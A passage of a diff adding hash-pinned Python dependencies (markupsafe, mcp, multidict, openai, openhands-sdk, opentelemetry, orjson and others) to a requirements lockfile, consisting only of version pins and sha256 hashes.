--hash=sha256:cb0a2b4aa34f932c007117b194e945bd74e0ec24133ceb5bac59009cda1cb9f3 +markdownify==1.2.0 \ + --hash=sha256:48e150a1c4993d4d50f282f725c0111bd9eb25645d41fa2f543708fd44161351 \ + --hash=sha256:f6c367c54eb24ee953921804dfe6d6575c5e5b42c643955e7242034435de634c +markupsafe==3.0.2 \ + --hash=sha256:0bff5e0ae4ef2e1ae4fdf2dfd5b76c75e5c2fa4132d05fc1b0dabcd20c7e28c4 \ + --hash=sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30 \ + --hash=sha256:1225beacc926f536dc82e45f8a4d68502949dc67eea90eab715dea3a21c1b5f0 \ + --hash=sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9 \ + --hash=sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396 \ + --hash=sha256:1a9d3f5f0901fdec14d8d2f66ef7d035f2157240a433441719ac9a3fba440b13 \ + --hash=sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028 \ + --hash=sha256:1e084f686b92e5b83186b07e8a17fc09e38fff551f3602b249881fec658d3eca \ + --hash=sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557 \ + --hash=sha256:2cb8438c3cbb25e220c2ab33bb226559e7afb3baec11c4f218ffa7308603c832 \ + --hash=sha256:3169b1eefae027567d1ce6ee7cae382c57fe26e82775f460f0b2778beaad66c0 \ + --hash=sha256:3809ede931876f5b2ec92eef964286840ed3540dadf803dd570c3b7e13141a3b \ + --hash=sha256:38a9ef736c01fccdd6600705b09dc574584b89bea478200c5fbf112a6b0d5579 \ + --hash=sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a \ + --hash=sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c \ + --hash=sha256:48032821bbdf20f5799ff537c7ac3d1fba0ba032cfc06194faffa8cda8b560ff \ + --hash=sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c \ + --hash=sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22 \ + --hash=sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094 \ + --hash=sha256:57cb5a3cf367aeb1d316576250f65edec5bb3be939e9247ae594b4bcbc317dfb \ + --hash=sha256:5b02fb34468b6aaa40dfc198d813a641e3a63b98c2b05a16b9f80b7ec314185e \ + --hash=sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5 \ + --hash=sha256:6af100e168aa82a50e186c82875a5893c5597a0c1ccdb0d8b40240b1f28b969a \ + --hash=sha256:6c89876f41da747c8d3677a2b540fb32ef5715f97b66eeb0c6b66f5e3ef6f59d \ + --hash=sha256:6e296a513ca3d94054c2c881cc913116e90fd030ad1c656b3869762b754f5f8a \ + --hash=sha256:70a87b411535ccad5ef2f1df5136506a10775d267e197e4cf531ced10537bd6b \ + --hash=sha256:7e94c425039cde14257288fd61dcfb01963e658efbc0ff54f5306b06054700f8 \ + --hash=sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225 \ + --hash=sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c \ + --hash=sha256:88b49a3b9ff31e19998750c38e030fc7bb937398b1f78cfa599aaef92d693144 \ + --hash=sha256:8c4e8c3ce11e1f92f6536ff07154f9d49677ebaaafc32db9db4620bc11ed480f \ + --hash=sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87 \ + --hash=sha256:9025b4018f3a1314059769c7bf15441064b2207cb3f065e6ea1e7359cb46db9d \ + --hash=sha256:93335ca3812df2f366e80509ae119189886b0f3c2b81325d39efdb84a1e2ae93 \ + --hash=sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf \ + --hash=sha256:9e2d922824181480953426608b81967de705c3cef4d1af983af849d7bd619158 \ + --hash=sha256:a123e330ef0853c6e822384873bef7507557d8e4a082961e1defa947aa59ba84 \ + --hash=sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb \ + --hash=sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48 \ + --hash=sha256:b424c77b206d63d500bcb69fa55ed8d0e6a3774056bdc4839fc9298a7edca171 \ + --hash=sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c \ + --hash=sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6 \ + --hash=sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd \ + --hash=sha256:bbcb445fa71794da8f178f0f6d66789a28d7319071af7a496d4d507ed566270d \ + --hash=sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1 \ + --hash=sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d \ + --hash=sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca \ + --hash=sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a \ + --hash=sha256:cfad01eed2c2e0c01fd0ecd2ef42c492f7f93902e39a42fc9ee1692961443a29 \ + --hash=sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe \ + --hash=sha256:d8213e09c917a951de9d09ecee036d5c7d36cb6cb7dbaece4c71a60d79fb9798 \ + --hash=sha256:e07c3764494e3776c602c1e78e298937c3315ccc9043ead7e685b7f2b8d47b3c \ + --hash=sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8 \ + --hash=sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f \ + --hash=sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f \ + --hash=sha256:eaa0a10b7f72326f1372a713e73c3f739b524b3af41feb43e4921cb529f5929a \ + --hash=sha256:eb7972a85c54febfb25b5c4b4f3af4dcc731994c7da0d8a0b4a6eb0640e1d178 \ + --hash=sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0 \ + --hash=sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79 \ + --hash=sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430 \ + --hash=sha256:fcabf5ff6eea076f859677f5f0b6b5c1a51e70a376b0579e0eadef8db48c6b50 +mcp==1.28.1 \ + --hash=sha256:2726bca5e7193f61c5dde8b12500a6de2d9acf6d1a1c0be9e8c2e706437991df \ + --hash=sha256:d51e36a5f5644faea4f85ea649bfffa6bc6c26770d42798ad6a3de3d2ba69683 +mdurl==0.1.2 \ + --hash=sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8 \ + --hash=sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba +more-itertools==10.8.0 \ + --hash=sha256:52d4362373dcf7c52546bc4af9a86ee7c4579df9a8dc268be0a2f949d376cc9b \ + --hash=sha256:f638ddf8a1a0d134181275fb5d58b086ead7c6a72429ad725c67503f13ba30bd +multidict==6.7.0 \ + --hash=sha256:03ca744319864e92721195fa28c7a3b2bc7b686246b35e4078c1e4d0eb5466d3 \ + --hash=sha256:040f393368e63fb0f3330e70c26bfd336656bed925e5cbe17c9da839a6ab13ec \ + --hash=sha256:05047ada7a2fde2631a0ed706f1fd68b169a681dfe5e4cf0f8e4cb6618bbc2cd \ + --hash=sha256:0591b48acf279821a579282444814a2d8d0af624ae0bc600aa4d1b920b6e924b \ + --hash=sha256:07f5594ac6d084cbb5de2df218d78baf55ef150b91f0ff8a21cc7a2e3a5a58eb \ + --hash=sha256:08325c9e5367aa379a3496aa9a022fe8837ff22e00b94db256d3a1378c76ab32 \ + --hash=sha256:08d4379f9744d8f78d98c8673c06e202ffa88296f009c71bbafe8a6bf847d01f \ + --hash=sha256:0934f3843a1860dd465d38895c17fce1f1cb37295149ab05cd1b9a03afacb2a7 \ + --hash=sha256:096f52730c3fb8ed419db2d44391932b63891b2c5ed14850a7e215c0ba9ade36 \ + --hash=sha256:09929cab6fcb68122776d575e03c6cc64ee0b8fca48d17e135474b042ce515cd \ + --hash=sha256:0a13fb8e748dfc94749f622de065dd5c1def7e0d2216dba72b1d8069a389c6ff \ + --hash=sha256:0db4956f82723cc1c270de9c6e799b4c341d327762ec78ef82bb962f79cc07d8 \ + --hash=sha256:123e2a72e20537add2f33a79e605f6191fba2afda4cbb876e35c1a7074298a7d \ + --hash=sha256:14c9e076eede3b54c636f8ce1c9c252b5f057c62131211f0ceeec273810c9721 \ + --hash=sha256:171b73bd4ee683d307599b66793ac80981b06f069b62eea1c9e29c9241aa66b0 \ + --hash=sha256:18706cc31dbf402a7945916dd5cddf160251b6dab8a2c5f3d6d5a55949f676b3 \ + --hash=sha256:19a1d55338ec1be74ef62440ca9e04a2f001a04d0cc49a4983dc320ff0f3212d \ + --hash=sha256:2049be98fb57a31b4ccf870bf377af2504d4ae35646a19037ec271e4c07998aa \ + --hash=sha256:2090d3718829d1e484706a2f525e50c892237b2bf9b17a79b059cb98cddc2f10 \ + --hash=sha256:2397ab4daaf2698eb51a76721e98db21ce4f52339e535725de03ea962b5a3202 \ + --hash=sha256:23bfeee5316266e5ee2d625df2d2c602b829435fc3a235c2ba2131495706e4a0 \ + --hash=sha256:27e0b36c2d388dc7b6ced3406671b401e84ad7eb0656b8f3a2f46ed0ce483718 \ + --hash=sha256:28b37063541b897fd6a318007373930a75ca6d6ac7c940dbe14731ffdd8d498e \ + --hash=sha256:295a92a76188917c7f99cda95858c822f9e4aae5824246bba9b6b44004ddd0a6 \ + --hash=sha256:29fe6740ebccba4175af1b9b87bf553e9c15cd5868ee967e010efcf94e4fd0f1 \ + --hash=sha256:2a7baa46a22e77f0988e3b23d4ede5513ebec1929e34ee9495be535662c0dfe2 \ + --hash=sha256:2d2cfeec3f6f45651b3d408c4acec0ebf3daa9bc8a112a084206f5db5d05b754 \ + --hash=sha256:2f67396ec0310764b9222a1728ced1ab638f61aadc6226f17a71dd9324f9a99c \ + --hash=sha256:30d193c6cc6d559db42b6bcec8a5d395d34d60c9877a0b71ecd7c204fcf15390 \ + --hash=sha256:31bae522710064b5cbeddaf2e9f32b1abab70ac6ac91d42572502299e9953128 \ + --hash=sha256:329aa225b085b6f004a4955271a7ba9f1087e39dcb7e65f6284a988264a63912 \ + --hash=sha256:363eb68a0a59bd2303216d2346e6c441ba10d36d1f9969fcb6f1ba700de7bb5c \ + --hash=sha256:394fc5c42a333c9ffc3e421a4c85e08580d990e08b99f6bf35b4132114c5dcb3 \ + --hash=sha256:3996b50c3237c4aec17459217c1e7bbdead9a22a0fcd3c365564fbd16439dde6 \ + --hash=sha256:39f1719f57adbb767ef592a50ae5ebb794220d1188f9ca93de471336401c34d2 \ + --hash=sha256:3b29b980d0ddbecb736735ee5bef69bb2ddca56eff603c86f3f29a1128299b4f \ + --hash=sha256:3ba3ef510467abb0667421a286dc906e30eb08569365f5cdb131d7aff7c2dd84 \ + --hash=sha256:3bab1e4aff7adaa34410f93b1f8e57c4b36b9af0426a76003f441ee1d3c7e842 \ + --hash=sha256:3d7b6ccce016e29df4b7ca819659f516f0bc7a4b3efa3bb2012ba06431b044f9 \ + --hash=sha256:3da4fb467498df97e986af166b12d01f05d2e04f978a9c1c680ea1988e0bc4b6 \ + --hash=sha256:3e56d780c238f9e1ae66a22d2adf8d16f485381878250db8d496623cd38b22bd \ + --hash=sha256:3e8bfdd0e487acf992407a140d2589fe598238eaeffa3da8448d63a63cd363f8 \ + --hash=sha256:44b546bd3eb645fd26fb949e43c02a25a2e632e2ca21a35e2e132c8105dc8599 \ + --hash=sha256:478cc36476687bac1514d651cbbaa94b86b0732fb6855c60c673794c7dd2da62 \ + --hash=sha256:490dab541a6a642ce1a9d61a4781656b346a55c13038f0b1244653828e3a83ec \ + --hash=sha256:4a0df7ff02397bb63e2fd22af2c87dfa39e8c7f12947bc524dbdc528282c7e34 \ + --hash=sha256:4b73189894398d59131a66ff157837b1fafea9974be486d036bb3d32331fdbf0 \ + --hash=sha256:4b7a9db5a870f780220e931d0002bbfd88fb53aceb6293251e2c839415c1b20e \ + --hash=sha256:4c09703000a9d0fa3c3404b27041e574cc7f4df4c6563873246d0e11812a94b6 \ + --hash=sha256:4d409aa42a94c0b3fa617708ef5276dfe81012ba6753a0370fcc9d0195d0a1fc \ + --hash=sha256:4d72a9a2d885f5c208b0cb91ff2ed43636bb7e345ec839ff64708e04f69a13cc \ + --hash=sha256:4ef089f985b8c194d341eb2c24ae6e7408c9a0e2e5658699c92f497437d88c3c \ + --hash=sha256:51cb455de290ae462593e5b1cb1118c5c22ea7f0d3620d9940bf695cea5a4bd7 \ + --hash=sha256:521f33e377ff64b96c4c556b81c55d0cfffb96a11c194fd0c3f1e56f3d8dd5a4 \ + --hash=sha256:53a42d364f323275126aff81fb67c5ca1b7a04fda0546245730a55c8c5f24bc4 \ + --hash=sha256:5aa873cbc8e593d361ae65c68f85faadd755c3295ea2c12040ee146802f23b38 \ + --hash=sha256:654030da3197d927f05a536a66186070e98765aa5142794c9904555d3a9d8fb5 \ + --hash=sha256:661709cdcd919a2ece2234f9bae7174e5220c80b034585d7d8a755632d3e2111 \ + --hash=sha256:680878b9f3d45c31e1f730eef731f9b0bc1da456155688c6745ee84eb818e90e \ + --hash=sha256:6843b28b0364dc605f21481c90fadb5f60d9123b442eb8a726bb74feef588a84 \ + --hash=sha256:68af405971779d8b37198726f2b6fe3955db846fee42db7a4286fc542203934c \ + --hash=sha256:6b4c3d199f953acd5b446bf7c0de1fe25d94e09e79086f8dc2f48a11a129cdf1 \ + --hash=sha256:6bdce131e14b04fd34a809b6380dbfd826065c3e2fe8a50dbae659fa0c390546 \ + --hash=sha256:716133f7d1d946a4e1b91b1756b23c088881e70ff180c24e864c26192ad7534a \ + --hash=sha256:749a72584761531d2b9467cfbdfd29487ee21124c304c4b6cb760d8777b27f9c \ + --hash=sha256:7516c579652f6a6be0e266aec0acd0db80829ca305c3d771ed898538804c2036 \ + --hash=sha256:79dcf9e477bc65414ebfea98ffd013cb39552b5ecd62908752e0e413d6d06e38 \ + --hash=sha256:7a0222514e8e4c514660e182d5156a415c13ef0aabbd71682fc714e327b95e99 \ + --hash=sha256:7b022717c748dd1992a83e219587aabe45980d88969f01b316e78683e6285f64 \ + --hash=sha256:7bf77f54997a9166a2f5675d1201520586439424c2511723a7312bdb4bcc034e \ + --hash=sha256:7e73299c99939f089dd9b2120a04a516b95cdf8c1cd2b18c53ebf0de80b1f18f \ + --hash=sha256:7ef6b61cad77091056ce0e7ce69814ef72afacb150b7ac6a3e9470def2198159 \ + --hash=sha256:7f5170993a0dd3ab871c74f45c0a21a4e2c37a2f2b01b5f722a2ad9c6650469e \ + --hash=sha256:803d685de7be4303b5a657b76e2f6d1240e7e0a8aa2968ad5811fa2285553a12 \ + --hash=sha256:8891681594162635948a636c9fe0ff21746aeb3dd5463f6e25d9bea3a8a39ca1 \ + --hash=sha256:8a19cdb57cd3df4cd865849d93ee14920fb97224300c88501f16ecfa2604b4e0 \ + --hash=sha256:8a3862568a36d26e650a19bb5cbbba14b71789032aebc0423f8cc5f150730184 \ + --hash=sha256:8b55d5497b51afdfde55925e04a022f1de14d4f4f25cdfd4f5d9b0aa96166851 \ + --hash=sha256:8cfc12a8630a29d601f48d47787bd7eb730e475e83edb5d6c5084317463373eb \ + --hash=sha256:9281bf5b34f59afbc6b1e477a372e9526b66ca446f4bf62592839c195a718b32 \ + --hash=sha256:92abb658ef2d7ef22ac9f8bb88e8b6c3e571671534e029359b6d9e845923eb1b \ + --hash=sha256:94218fcec4d72bc61df51c198d098ce2b378e0ccbac41ddbed5ef44092913288 \ + --hash=sha256:95b5ffa4349df2887518bb839409bcf22caa72d82beec453216802f475b23c81 \ + --hash=sha256:9600082733859f00d79dee64effc7aef1beb26adb297416a4ad2116fd61374bd \ + --hash=sha256:960c60b5849b9b4f9dcc9bea6e3626143c252c74113df2c1540aebce70209b45 \ + --hash=sha256:9b2fd74c52accced7e75de26023b7dccee62511a600e62311b918ec5c168fc2a \ + --hash=sha256:9c0359b1ec12b1d6849c59f9d319610b7f20ef990a6d454ab151aa0e3b9f78ca \ + --hash=sha256:9cf41880c991716f3c7cec48e2f19ae4045fc9db5fc9cff27347ada24d710bb5 \ + --hash=sha256:9d14baca2ee12c1a64740d4531356ba50b82543017f3ad6de0deb943c5979abb \ + --hash=sha256:9f474ad5acda359c8758c8accc22032c6abe6dc87a8be2440d097785e27a9349 \ + --hash=sha256:9fb0211dfc3b51efea2f349ec92c114d7754dd62c01f81c3e32b765b70c45c9b \ + --hash=sha256:9fe04da3f79387f450fd0061d4dd2e45a72749d31bf634aecc9e27f24fdc4b3f \ + --hash=sha256:9ff96e8815eecacc6645da76c413eb3b3d34cfca256c70b16b286a687d013c32 \ + --hash=sha256:a027ec240fe73a8d6281872690b988eed307cd7d91b23998ff35ff577ca688b5 \ + --hash=sha256:a048ce45dcdaaf1defb76b2e684f997fb5abf74437b6cb7b22ddad934a964e34 \ + --hash=sha256:a265acbb7bb33a3a2d626afbe756371dce0279e7b17f4f4eda406459c2b5ff1c \ + --hash=sha256:a35c5fc61d4f51eb045061e7967cfe3123d622cd500e8868e7c0c592a09fedc4 \ + --hash=sha256:a37bd74c3fa9d00be2d7b8eca074dc56bd8077ddd2917a839bd989612671ed17 \ + --hash=sha256:a60a4d75718a5efa473ebd5ab685786ba0c67b8381f781d1be14da49f1a2dc60 \ + --hash=sha256:a6ef16328011d3f468e7ebc326f24c1445f001ca1dec335b2f8e66bed3006394 \ + --hash=sha256:a90af66facec4cebe4181b9e62a68be65e45ac9b52b67de9eec118701856e7ff \ + --hash=sha256:ad9ce259f50abd98a1ca0aa6e490b58c316a0fce0617f609723e40804add2c00 \ + --hash=sha256:afa8a2978ec65d2336305550535c9c4ff50ee527914328c8677b3973ade52b85 \ + --hash=sha256:b15b3afff74f707b9275d5ba6a91ae8f6429c3ffb29bbfd216b0b375a56f13d7 \ + --hash=sha256:b284e319754366c1aee2267a2036248b24eeb17ecd5dc16022095e747f2f4304 \ + --hash=sha256:b2d7f80c4e1fd010b07cb26820aae86b7e73b681ee4889684fb8d2d4537aab13 \ + --hash=sha256:b3bc26a951007b1057a1c543af845f1c7e3e71cc240ed1ace7bf4484aa99196e \ + --hash=sha256:b3e34f3a1b8131ba06f1a73adab24f30934d148afcd5f5de9a73565a4404384e \ + --hash=sha256:b4121773c49a0776461f4a904cdf6264c88e42218aaa8407e803ca8025872792 \ + --hash=sha256:b61189b29081a20c7e4e0b49b44d5d44bb0dc92be3c6d06a11cc043f81bf9329 \ + --hash=sha256:b6234e14f9314731ec45c42fc4554b88133ad53a09092cc48a88e771c125dadb \ + --hash=sha256:b8512bac933afc3e45fb2b18da8e59b78d4f408399a960339598374d4ae3b56b \ + --hash=sha256:ba672b26069957ee369cfa7fc180dde1fc6f176eaf1e6beaf61fbebbd3d9c000 \ + --hash=sha256:bee7c0588aa0076ce77c0ea5d19a68d76ad81fcd9fe8501003b9a24f9d4000f6 \ + --hash=sha256:c04a328260dfd5db8c39538f999f02779012268f54614902d0afc775d44e0a62 \ + --hash=sha256:c1dcc7524066fa918c6a27d61444d4ee7900ec635779058571f70d042d86ed63 \ + --hash=sha256:c6e99d9a65ca282e578dfea819cfa9c0a62b2499d8677392e09feaf305e9e6f5 \ + --hash=sha256:ca43bdfa5d37bd6aee89d85e1d0831fb86e25541be7e9d376ead1b28974f8e5e \ + --hash=sha256:caf53b15b1b7df9fbd0709aa01409000a2b4dd03a5f6f5cc548183c7c8f8b63c \ + --hash=sha256:cc41db090ed742f32bd2d2c721861725e6109681eddf835d0a82bd3a5c382827 \ + --hash=sha256:cd240939f71c64bd658f186330603aac1a9a81bf6273f523fca63673cb7378a8 \ + --hash=sha256:ce8fdc2dca699f8dbf055a61d73eaa10482569ad20ee3c36ef9641f69afa8c91 \ + --hash=sha256:d1bed1b467ef657f2a0ae62844a607909ef1c6889562de5e1d505f74457d0b96 \ + --hash=sha256:d1d964afecdf3a8288789df2f5751dc0a8261138c3768d9af117ed384e538fad \ + --hash=sha256:d4393e3581e84e5645506923816b9cc81f5609a778c7e7534054091acc64d1c6 \ + --hash=sha256:d874eb056410ca05fed180b6642e680373688efafc7f077b2a2f61811e873a40 \ + --hash=sha256:db99677b4457c7a5c5a949353e125ba72d62b35f74e26da141530fbb012218a7 \ + --hash=sha256:dd32a49400a2c3d52088e120ee00c1e3576cbff7e10b98467962c74fdb762ed4 \ + --hash=sha256:df0e3bf7993bdbeca5ac25aa859cf40d39019e015c9c91809ba7093967f7a648 \ + --hash=sha256:e011555abada53f1578d63389610ac8a5400fc70ce71156b0aa30d326f1a5064 \ + --hash=sha256:e2862408c99f84aa571ab462d25236ef9cb12a602ea959ba9c9009a54902fc73 \ + --hash=sha256:e3aa16de190d29a0ea1b48253c57d99a68492c8dd8948638073ab9e74dc9410b \ + --hash=sha256:e93a0617cd16998784bf4414c7e40f17a35d2350e5c6f0bd900d3a8e02bd3762 \ + --hash=sha256:ea3334cabe4d41b7ccd01e4d349828678794edbc2d3ae97fc162a3312095092e \ + --hash=sha256:eb866162ef2f45063acc7a53a88ef6fe8bf121d45c30ea3c9cd87ce7e191a8d4 \ + --hash=sha256:ec81878ddf0e98817def1e77d4f50dae5ef5b0e4fe796fae3bd674304172416e \ + --hash=sha256:efbb54e98446892590dc2458c19c10344ee9a883a79b5cec4bc34d6656e8d546 \ + --hash=sha256:f0e77e3c0008bc9316e662624535b88d360c3a5d3f81e15cf12c139a75250046 \ + --hash=sha256:f0feece2ef8ebc42ed9e2e8c78fc4aa3cf455733b507c09ef7406364c94376c6 \ + --hash=sha256:f470f68adc395e0183b92a2f4689264d1ea4b40504a24d9882c27375e6662bb9 \ + --hash=sha256:f844a1bbf1d207dd311a56f383f7eda2d0e134921d45751842d8235e7778965d \ + --hash=sha256:f8a93b1c0ed2d04b97a5e9336fd2d33371b9a6e29ab7dd6503d63407c20ffbaf \ + --hash=sha256:f8e5c0031b90ca9ce555e2e8fd5c3b02a25f14989cbc310701823832c99eb687 \ + --hash=sha256:fb287618b9c7aa3bf8d825f02d9201b2f13078a5ed3b293c8f4d953917d84d5e \ + --hash=sha256:fbafe31d191dfa7c4c51f7a6149c9fb7e914dcf9ffead27dcfd9f1ae382b3885 \ + --hash=sha256:fbd18dc82d7bf274b37aa48d664534330af744e03bccf696d6f4c6042e7d19e7 +oauthlib==3.3.1 \ + --hash=sha256:0f0f8aa759826a193cf66c12ea1af1637f87b9b4622d46e866952bb022e538c9 \ + --hash=sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1 +ollama==0.6.0 \ + --hash=sha256:534511b3ccea2dff419ae06c3b58d7f217c55be7897c8ce5868dfb6b219cf7a0 \ + --hash=sha256:da2b2d846b5944cfbcee1ca1e6ee0585f6c9d45a2fe9467cbcd096a37383da2f +openai==2.33.0 \ + --hash=sha256:03ac37d70e8c9e3a8124214e3afa785e2cbc12e627fbd98177a086ef2fd87ad5 \ + --hash=sha256:f850c435e2a4685bba3295bd54912dd26315d9c1b7733068186134d6e0599f9a +openapi-pydantic==0.5.1 \ + --hash=sha256:a3a09ef4586f5bd760a8df7f43028b60cafb6d9f61de2acba9574766255ab146 \ + --hash=sha256:ff6835af6bde7a459fb93eb93bb92b8749b754fc6e51b2f1590a19dc3005ee0d +openhands-sdk @ https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl \ + --hash=sha256:441ea190fb0af2253bf431650f209fedfbb9eb7c41cf35440a0548296d4b0faa +openhands-tools @ https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl \ + --hash=sha256:b237043c892111624fdc1fe98e0d29f772ae1f614b487866d926775167c9635e +opentelemetry-api==1.39.1 \ + --hash=sha256:2edd8463432a7f8443edce90972169b195e7d6a05500cd29e6d13898187c9950 \ + --hash=sha256:fbde8c80e1b937a2c61f20347e91c0c18a1940cecf012d62e65a7caf08967c9c +opentelemetry-exporter-otlp-proto-common==1.39.1 \ + --hash=sha256:08f8a5862d64cc3435105686d0216c1365dc5701f86844a8cd56597d0c764fde \ + --hash=sha256:763370d4737a59741c89a67b50f9e39271639ee4afc999dadfe768541c027464 +opentelemetry-exporter-otlp-proto-grpc==1.39.1 \ + --hash=sha256:772eb1c9287485d625e4dbe9c879898e5253fea111d9181140f51291b5fec3ad \ + --hash=sha256:fa1c136a05c7e9b4c09f739469cbdb927ea20b34088ab1d959a849b5cc589c18 +opentelemetry-exporter-otlp-proto-http==1.39.1 \ + --hash=sha256:31bdab9745c709ce90a49a0624c2bd445d31a28ba34275951a6a362d16a0b9cb \ + --hash=sha256:d9f5207183dd752a412c4cd564ca8875ececba13be6e9c6c370ffb752fd59985 +opentelemetry-instrumentation==0.60b1 \ + --hash=sha256:04480db952b48fb1ed0073f822f0ee26012b7be7c3eac1a3793122737c78632d \ + --hash=sha256:57ddc7974c6eb35865af0426d1a17132b88b2ed8586897fee187fd5b8944bd6a +opentelemetry-instrumentation-threading==0.60b1 \ + --hash=sha256:20b18a68abe5801fa9474336b7c27487d4af3e00b66f6a8734e4fdd75c8b0b43 \ + --hash=sha256:92a52a60fee5e32bc6aa8f5acd749b15691ad0bc4457a310f5736b76a6d9d1de +opentelemetry-proto==1.39.1 \ + --hash=sha256:22cdc78efd3b3765d09e68bfbd010d4fc254c9818afd0b6b423387d9dee46007 \ + --hash=sha256:6c8e05144fc0d3ed4d22c2289c6b126e03bcd0e6a7da0f16cedd2e1c2772e2c8 +opentelemetry-sdk==1.39.1 \ + --hash=sha256:4d5482c478513ecb0a5d938dcc61394e647066e0cc2676bee9f3af3f3f45f01c \ + --hash=sha256:cf4d4563caf7bff906c9f7967e2be22d0d6b349b908be0d90fb21c8e9c995cc6 +opentelemetry-semantic-conventions==0.60b1 \ + --hash=sha256:87c228b5a0669b748c76d76df6c364c369c28f1c465e50f661e39737e84bc953 \ + --hash=sha256:9fa8c8b0c110da289809292b0591220d3a7b53c1526a23021e977d68597893fb +opentelemetry-semantic-conventions-ai==0.4.13 \ + --hash=sha256:883a30a6bb5deaec0d646912b5f9f6dcbb9f6f72557b73d0f2560bf25d13e2d5 \ + --hash=sha256:94efa9fb4ffac18c45f54a3a338ffeb7eedb7e1bb4d147786e77202e159f0036 +orjson==3.11.7 \ + --hash=sha256:043d3006b7d32c7e233b8cfb1f01c651013ea079e08dcef7189a29abd8befe11 \ + --hash=sha256:0527a4510c300e3b406591b0ba69b5dc50031895b0a93743526a3fc45f59d26e \ + --hash=sha256:0724e265bc548af1dedebd9cb3d24b4e1c1e685a343be43e87ba922a5c5fff2f \ + --hash=sha256:136dcd6a2e796dfd9ffca9fc027d778567b0b7c9968d092842d3c323cef88aa8 \ + --hash=sha256:14f440c7268c8f8633d1b3d443a434bd70cb15686117ea6beff8fdc8f5917a1e \ + --hash=sha256:1d98b30cc1313d52d4af17d9c3d307b08389752ec5f2e5febdfada70b0f8c733 \ + --hash=sha256:1eb80451a9c351a71dfaf5b7ccc13ad065405217726b59fdbeadbcc544f9d223 \ + --hash=sha256:1ee5cc7160a821dfe14f130bc8e63e7611051f964b463d9e2a3a573204446a4d \ + --hash=sha256:23d6c20517a97a9daf1d48b580fcdc6f0516c6f4b5038823426033690b4d2650 \ + --hash=sha256:26c3b9132f783b7d7903bf1efb095fed8d4a3a85ec0d334ee8beff3d7a4749d5 \ + --hash=sha256:31c80ce534ac4ea3739c5ee751270646cbc46e45aea7576a38ffec040b4029a1 \ + --hash=sha256:3726be79e36e526e3d9c1aceaadbfb4a04ee80a72ab47b3f3c17fefb9812e7b8 \ + --hash=sha256:390a1dce0c055ddf8adb6aa94a73b45a4a7d7177b5c584b8d1c1947f2ba60fb3 \ + --hash=sha256:3a2479753bbb95b0ebcf7969f562cdb9668e6d12416a35b0dda79febf89cdea2 \ + --hash=sha256:3c4bc6c6ac52cdaa267552544c73e486fecbd710b7ac09bc024d5a78555a22f6 \ + --hash=sha256:411ebaf34d735e25e358a6d9e7978954a9c9d58cfb47bc6683cdc3964cd2f910 \ + --hash=sha256:4682d1db3bcebd2b64757e0ddf9e87ae5f00d29d16c5cdf3a62f561d08cc3dd2 \ + --hash=sha256:4a2e9c5be347b937a2e0203866f12bba36082e89b402ddb9e927d5822e43088d \ + --hash=sha256:57036b27ac8a25d81112eb0cc9835cd4833c5b16e1467816adc0015f59e870dc \ + --hash=sha256:5ede977b5fe5ac91b1dffc0a517ca4542d2ec8a6a4ff7b2652d94f640796342a \ + --hash=sha256:5fdfad2093bdd08245f2e204d977facd5f871c88c4a71230d5bcbd0e43bf6222 \ + --hash=sha256:623ad1b9548ef63886319c16fa317848e465a21513b31a6ad7b57443c3e0dcf5 \ + --hash=sha256:652c6c3af76716f4a9c290371ba2e390ede06f6603edb277b481daf37f6f464e \ + --hash=sha256:6543001328aa857187f905308a028935864aefe9968af3848401b6fe80dbb471 \ + 